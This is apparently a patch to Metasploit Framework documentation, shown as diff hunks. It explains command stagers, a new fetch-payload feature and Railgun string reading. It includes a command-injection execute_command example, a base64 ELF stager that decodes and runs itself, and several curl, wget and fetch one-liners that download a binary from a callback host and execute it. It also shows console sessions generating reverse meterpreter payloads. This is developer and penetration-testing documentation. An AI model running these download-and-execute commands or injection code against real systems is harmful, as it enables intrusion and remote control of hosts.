Be aware that if you supply a bad pointer, you can cause an access violation and crash Meterpreter.
### References:
### Reading and Writing Strings
Railgun also has a number of useful utility methods in `railgun.util`. For example, the `#read_string` method can be used to read an ASCII string from memory. A `read_wstring` variant can be used to read UTF-16 strings.
```
>> railgun.util.read_string(address)
=> "AAAA"
```
## References:
- <https://www.youtube.com/watch?v=AniR-T0AnnI>
- <https://www.defcon.org/images/defcon-20/dc-20-presentations/Maloney/DEFCON-20-Maloney-Railgun.pdf>
@@ -144,3 +157,5 @@ Be aware that if you supply a bad pointer, you can cause an access violation and
- <http://msdn.microsoft.com/en-us/library/aa383749>
- <http://undocumented.ntinternals.net/>
- <http://source.winehq.org/WineAPI/>
[kernel32!GetLastError]: https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror
@@ -1,6 +1,6 @@
If youve found a way to execute a command on a target, and youd like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as [command execution](https://www.owasp.org/index.php/Command_Injection) or [code injection](https://www.owasp.org/index.php/Code_Injection) and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.
The hardest part about command stagers is understanding how much they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the `execute_command` method and then select a few options.
# The Vulnerability Test Case
@@ -70,7 +70,7 @@ include Msf::Exploit::CmdStager
**2. Declare your flavors**
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed.
To tell `Msf::Exploit::CmdStager` what flavors you want, you can add the ```CmdStagerFlavor``` info in the module's metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple `echo` or `printf` commands to write it to disk; others like `wget` and `curl` execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.
An example of setting flavors for a specific target:
@@ -98,16 +98,37 @@ However, it is best to set the compatible list of flavors in `CmdStagerFlavor`,
**3. Create the execute_command method**
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that
You also must create a ```def execute_command(cmd, opts = {})``` method in your module. This is how you define how to execute a command on the target. The parameter `cmd` is the command to execute. When writing the ```execute_cmd``` method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that `set httptrace true` will automatically display the http traffic as it is sent and received.
**4. Decide on the supported payloads**
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are `ARCH_CMD` payloads that rely on software already present on the target system like `netcat`, `bash`, `python`, or `ssh`. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two.
The best way to let the user decide what kind of payload to use is by defining separate [[targets|Get-Started-Writing-an-Exploit.md]]
Here is an example targets section from a command injection module:
```
```ruby
'Targets' => [
[
'Unix Command',
@@ -133,10 +154,10 @@ Here is an example targets section from a command injection module:
```
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk and can just be launched at the command line. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64`. These targets must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a dropper because the file must be dropped to the disk before it can be executed. In each of the targets above, weve selected a default payload we know will work.
The first target is the `ARCH_CMD` target and `unix` platform. This allows the user to select any payload that starts with `cmd/unix`. These payloads do not need to be saved to disk because they are "just" a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is `ARCH_X64` and the platform is `linux`; this lets us choose any payload that starts with `linux/x64` and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a dropper because the file must be dropped to the disk before it can be executed. In each of the targets above, weve selected a default payload we know will work.
**4. Executing a payload**
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to upload, save, and execute your payload, then uses the ```execute_command``` method you defined earlier to run them on the target.
As we said earlier, the way a payload is executed depends on the payload type. By including `Msf::Exploit::CmdStager` you are given access to a method called ```execute_cmdstager```. ```execute_cmdstager``` makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the ```execute_command``` method you defined earlier to run each command on the target.
Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call ```execute_command```.
This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the ```exploit``` method will become if you have properly defined your targets as discussed in step 3:
@@ -152,8 +173,7 @@ This problem of payload/method juggling sounds far worse than it is. Below is a
end
```
Thats it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the _already_ _encoded_ payload. You dont need to worry about encoding the payload in your ```execute_command``` method.
If the user has selected a binary payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out how to save the file to disk and launch it based on the flavor you set earlier.
Thats it. If the user selects an `ARCH_CMD` payload, we call the ```execute_command``` method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a ```dropped``` payload like `ARCH_X64` or `ARCH_X86`, then we call ```execute_cmdstager``` which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.
Over the years, we have also learned that these options are quite handy when calling
`execute_cmdstager`:
@@ -259,23 +279,26 @@ msf exploit(cmdstager_demo) > run
# Flavors
Now that we know how to use the `Msf::Exploit::CmdStager` mixin, let's take a look at the command
stagers you can use.
stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to write a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the `printf` flavor is the only flavor that embeds the payload into the commands but does ***not*** use `echo`.
Available flavors:
Flavors requiring the payload to be broken apart and embedded into the commands:
* [bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb)
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
* [debug_asm](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_asm.rb)
* [debug_write](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/debug_write.rb)
* [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb)
* [printf](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/printf.rb)
* [vbs](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/vbs.rb)
* [certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb)
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
Flavors that rely on using a command to retrieve the payload via network connection
* [curl](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb)
* [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb)
* [lwprequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb)
* [psh_invokewebrequest](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/psh_invokewebrequest.rb)
* [tftp](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/tftp.rb)
* [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb)
## VBS Command Stager - Windows Only
@@ -305,9 +328,7 @@ You will also need to make sure the module's supported platforms include windows
## Certutil Command Stager - Windows Only
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8.
One thing certutil can also do for us is decode the Base64 string from a certificate, and save the decoded content to a file. The following demonstrates:
[Certutil](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/certutil.rb) is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like `wget` and `ftp`, we do not use it that way here; instead we use `echo` to write the file as a base64 encoded certificate, and then we use `certutil` to decode it prior to execution:
```bash
echo -----BEGIN CERTIFICATE----- > encoded.txt
@@ -433,8 +454,17 @@ execute_cmdstager(flavor: :psh_invokewebrequest )
**Linemax** minimum: 373
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows (because the use of the which command that Windows does not have). It functions rather similar to the VBS stager, except when it decodes the Base64 payload at runtime, there are multiple commands to choose from: base64, openssl, python, or perl.
The [Bourne](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/bourne.rb) command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target's OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting `verbose` to `true` and launching an exploit that has `bourne` as a supported command stager flavor and selecting it as the flavor:
```
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
/tmp/XtMnQ.b64'"]
```
To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -454,7 +484,7 @@ execute_cmdstager(flavor: :bourne)
The [echo](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/echo.rb) command stager is suitable for multiple platforms except for Windows. It just [echos](http://manpages.ubuntu.com/manpages/trusty/man1/echo.1fun.html) the payload, chmod and execute it. An example of that looks similar to this:
```
```bash
echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload
```
@@ -495,6 +525,11 @@ execute_cmdstager(flavor: :printf)
## cURL Command Stager - Multi Platform
The [cURL](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/curl.rb) command stager uses the `curl` command on the target host to download the payload file. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"
```
To use the cURL stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -510,6 +545,12 @@ execute_cmdstager(flavor: :curl)
## wget Command Stager - Multi Platform
The [wget](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/wget.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `wget` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch
```
To use the wget stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -525,6 +566,13 @@ execute_cmdstager(flavor: :wget)
## LWP Request Command Stager - Multi Platform
The [lwp-request](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/lwprequest.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `lwp-request` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn
```
To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -540,6 +588,11 @@ execute_cmdstager(flavor: :lwprequest)
## Fetch Command Stager - BSD Only
The [fetch](https://github.com/rapid7/rex-exploitation/blob/master/lib/rex/exploitation/cmdstager/fetch.rb) command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the `fetch` command. It requires users to specify a `SRVHOST` and `SRVPORT` values and will start an HTTP server to host the payload file. An example of that looks similar to this:
```bash
fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy
```
To use the fetch stager, either specify your CmdStagerFlavor in the metadata:
```ruby
@@ -0,0 +1,334 @@
# Fetch Payloads
## What Are Fetch Payloads?
Fetch payloads are adapted, command-based payloads use network-enabled binaries on a remote host to download binary
payloads to that remote host. Adapted payloads are just payloads where we have bolted an extra feature on top of
existing payloads to modify the behavior. In this case, you can still use all your favorite binary payloads and
transports, but we've added an optional fetch payload adapter on top to stage the payloads using a networking binary and
server. They function similarly to some Command Stagers, but are based on the payload side rather than the exploit side
to simplify integration and portability. Fetch payloads are a fast, easy way to get a session on a target that has a
command injection or code execution vulnerability *and* a known binary with the ability to download and store
a file.
## Terminology
In the following documentation, it is useful to agree on certain terms to use so we don't get confused or confusing.
`Fetch Payload` - The command to execute on the remote host to retrieve and execute the `Served Payload`
`Fetch Binary` - The binary we are using on the remote host to download the Served Payload. Examples might be WGET,
cURL, or Certutil.
`Fetch Protocol` - The protocol used to download the served payload, for example HTTP, HTTPS or TFTP.
`Fetch Listener` - The server hosting the served payload.
`Fetch Handler` - The same as `Fetch Listener`
`Served Payload` - The underlying payload we want to execute. We also might call this the `Adapted Payload`.
`Served Payload Handler` - The handler for the served payload. This is just a standard payload like
`meterpreter/reverse_tcp` or `shell_reverse_tcp`.
## Organization
Unlike Command Stagers which are organized by binary, Fetch Payloads are organized by server. Currently, we support
HTTP, HTTPS, and TFTP servers. Once you select a fetch payload, you can select the binary you'd like to run on the
remote host to download the served payload prior to execution.
Here is the naming convention for fetch payloads:
`<cmd>/<platform>/<fetch protocol>/served_payload`
For example:
`cmd/linux/https/x64/meterpreter/reverse_tcp` Will do four things:
1. Create a `linux/x64/meterpreter/reverse_tcp` elf binary to be the served payload.
2. Serve the above served payload on an HTTPS server
3. Start a served payload handler for the served payload to call back to
4. Generate a command to execute on a remote host that will download the served payload and run it.
## A Simple Stand-Alone Example
The fastest way to understand Fetch Payloads is to use them and examine the output. For example, let's assume a Linux
target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
First, let's look at the payload in isolation:
```msf
msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_FILENAME YXeSdwsoEfOH no Name to use on remote system when storing payload
FETCH_SRVHOST 0.0.0.0 yes Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
View the full module info with the info, or info -d command.
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
### Options
`FETCH_COMMAND` is the binary we wish to run on the remote host to download the adapted payload. Currently, the
supported options are `CURL FTP TFTP TNFTP WGET` on Linux hosts and `CURL TFTP CERTUTIL` on Windows hosts. We'll get
into more details on the binaries later.
`FETCH_FILENAME` is the name you'd like the executable payload saved as on the remote host. This option is not
supported by every binary and must end in `.exe` on Windows hosts. The default value is random.
`FETCH_SRVHOST` is the IP where the server will listen.
`FETCH_SRVPORT` is the port where the server will listen.
`FETCH_URIPATH` is the URI corresponding to the payload file. The default value is deterministic based on the
underlying payload so a payload created in msfvenom will match a listener started in Framework assuming the underlying
served payload is the same.
`FETCH_WRITABLE_DIR` is the directory on the remote host where we'd like to store the served payload prior to execution.
This value is not supported by all binaries. If you set this value and it is not supported, it will generate an error.
The remaining options will be the options available to you in the served payload; in this case our served payload is
`linux/x64/meterpreter/reverse_tcp` so our only added options are `LHOST` and `LPORT`. If we had selected a different
payload, we would see different options.
### Generating the Fetch Payload
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
FETCH_COMMAND => WGET
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
FETCH_SRVHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
FETCH_SRVPORT => 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
LHOST => 10.5.135.201
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
LPORT => 4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
You can see the fetch payload generated:
`wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &`
This command downloads the served payload, marks it as executable, and then executes it on the remote host.
### Starting the Fetch Server
When you start the `Fetch Handler`, it starts both the server hosting the binary payload *and* the listener for the
served payload. With `verbose` set to `true`, you can see both the Fetch Handler and the Served Payload Handler are
started:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
[*] Payload Handler Started as Job 0
[*] Fetch Handler listening on 10.5.135.201:8000
[*] http server started
[*] Started reverse TCP handler on 10.5.135.201:4567
```
### Fetch Handlers and Served Payload Handlers
The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
`Jobs`, even though the Fetch Handler is listening:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
```
Killing the Served Payload handler will kill the Fetch Handler as well:
```msf
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
[*] exec: netstat -ant | grep 8000
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
```
## Using Fetch Payloads on the Fly
One really nice thing about Fetch Payloads is that it gives you the ability to execute a binary payload very quickly,
without relying on a session in framework or having to get a payload on target. If you have a shell session or even a
really odd situation where you can execute commands, you can get a session in framework quickly without having to upload
a payload manually. Just follow the steps above, and run the provided command. Right now, the only thing we serve are
Framework payloads, but in the future, expanding to serve and execute any executable binary would be relatively trivial.
## Using it in an exploit
Using Fetch Payloads is no different than using any other command payload. First, give users access to the Fetch
payloads for a given platform by adding a target that supports `ARCH_CMD` and the desired platform, either `windows` or
`linux`. Once the target has been added, you can get access to the command by invoking `payload.encoded` and use it as
the command to execute on the remote target.
### Example paired with CmdStager
There is likely to be some overlap between fetch payloads and command stagers. Let's talk briefly about how to support
both in an exploit. Please see the documentation on Command Stagers for required imports and specifics for command
stagers. in this case, I'm only documenting the changes to make so that fetch payloads will work alongside command
stagers or to use fetch payloads in the style of command stagers, which I suggest you do.
In this case, I've modified the code provided in the command stager documentation to support both linux and unix command
payloads. All I did was give an array value for the `Platform` value and change the`Type` to something more generic:
``` ruby
'Targets' =>
[
[ 'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'unix', 'linux' ],
'Type' => :nix_cmd
}
]
]
```
For the `execute_command` method, nothing changes:
```ruby
def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end
```
The only change in the exploit method is the use of the more generic `Type` value in the case statement. Nothing else
needs to change.
```ruby
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :nix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
```
If you have an exploit that already supports Unix Command payloads and you'd like it to support Linux Command payloads
like Fetch Payloads, you can simply add the `linux` value to the platform array:
```ruby
'Nix Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
}
```
## Supported Commands
### Windows And Linux Both
#### `CURL`
cURL comes pre-installed on Windows 10 and 11, and it is incredibly common on linux platforms and the options are very
standardized across releases and platforms. This makes cURL a good default choice for both Linux and Windows
targets. All options and server protocol types are supported by the cURL command.
#### `TFTP`
The TFTP binary is useful only in edge cases because of a long list of limitations:
1) It is a Windows feature, but it is turned off by default on Windows Vista and later.
2) While you are likely to find it on Linux and Unix hosts, the options are not standard across releases.
3) The TFTP binary included in many Linux systems and all Windows systems does not allow for the port to be configured,
nor does it allow for the destination filename to be configured, so `FETCH_SRVPORT` must always be set to 69 and
`FETCH_WRITABLE_DIR` and `FETCH_FILENAME` must be empty. Listening on port 69 in Framework can be problematic, so I
suggest that you use the advanced option `FetchListenerBindPort` to start the server on a different port and redirect
the connection with a tool like iptables to a high port.
For example, if you are on a linux host with iptables, you can execute the following commands to redirect a connection
on UDP port 69 to UDP port 3069:
`sudo iptables -t nat -I PREROUTING -p udp --dport 69 -j REDIRECT --to-ports 3069`
`sudo iptables -t nat -I OUTPUT -p udp -d 127.0.0.1 --dport 69 -j REDIRECT --to-ports 3069`
Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly.
4) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
start a tftp fetch handler, a new service will start:
```msf
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
LPORT => 4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
[*] Payload Handler Started as Job 4
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
FETCH_URIPATH => test4
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
LPORT => 8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
[*] Payload Handler Started as Job 5
[*] starting tftpserver on 10.5.135.201:8080
[*] Started reverse TCP handler on 10.5.135.201:8547
msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
[*] exec: netstat -an | grep 8080
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
udp 0 0 10.5.135.201:8080 0.0.0.0:*
```
There is nothing to stop you from creating a race condition by starting multiple tftp servers with the same IP, port,
and `FETCH_URI` value but serving different payloads. This will result in a race condition where the payload served is
non-deterministic.
### Windows Only
#### `Certutil`
Certutil is a great choice for Windows targets- it is likely to be present on most recent releases of Windows and is
highly configurable. The one troublesome aspect is that there is no insecure mode for Certutil, so if you are using
Certutil with the HTTPS protocol, the certificate must be correct and checked. It supports `HTTP` and `HTTPS`
protocols.
### Linux Only
#### `FTP`
FTP is an old but useful binary. While we support using the FTP binary, we do not have an FTP server. Modern releases
of FTP support both HTTP and HTTPS protocols. Unfortunately, we only support these modern versions of inline FTP, so it
may not be appropriate for older systems.
#### `TNFTP`
TNFTP (not to be confused with TFTP) is a newer version of FTP. It is exactly the same as modern FTP, but sometimes both the legacy FTP and TNFTP are
present on a system, so the command will be `tnftp` rather than `ftp`.
#### WGET
WGET is likely the first choice for a linux-only target. It supports both HTTPS and HTTP and all Fetch payload options.
It is ubiquitous on Linux hosts and very standard, making it an excellent choice.
@@ -20,7 +20,7 @@ When the mixin is included, notice there will be the following datastore options
* **SSLVerifyMode** - Verification mode: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER. Default is PEER.
* **Proxies** - Allows your module to support proxies.
* **ConnectTimeout** - Default is 10 seconds.
* **TCP::max_send_size** - Evasive option. Maxiumum TCP segment size.
* **TCP::max_send_size** - Evasive option. Maximum TCP segment size.
* **TCP::send_delay** - Evasive option. Delays inserted before every send.
If you wish to learn how to change the default value of a datastore option, please read "[[Changing the default value for a datastore option|./How-to-use-datastore-options.md]]"
@@ -126,4 +126,4 @@ def send_recv_once(data)
buf
end
```
```
@@ -84,7 +84,7 @@ module Metasploit
class SymantecWebGateway < HTTP
# Attemps to login to the server.
# Attempts to login to the server.
#
# @param [Metasploit::Framework::Credential] credential The credential information.
# @return [Result] A Result object indicating success or failure
@@ -68,13 +68,13 @@ def on_request_uri(cli, request)
end
```
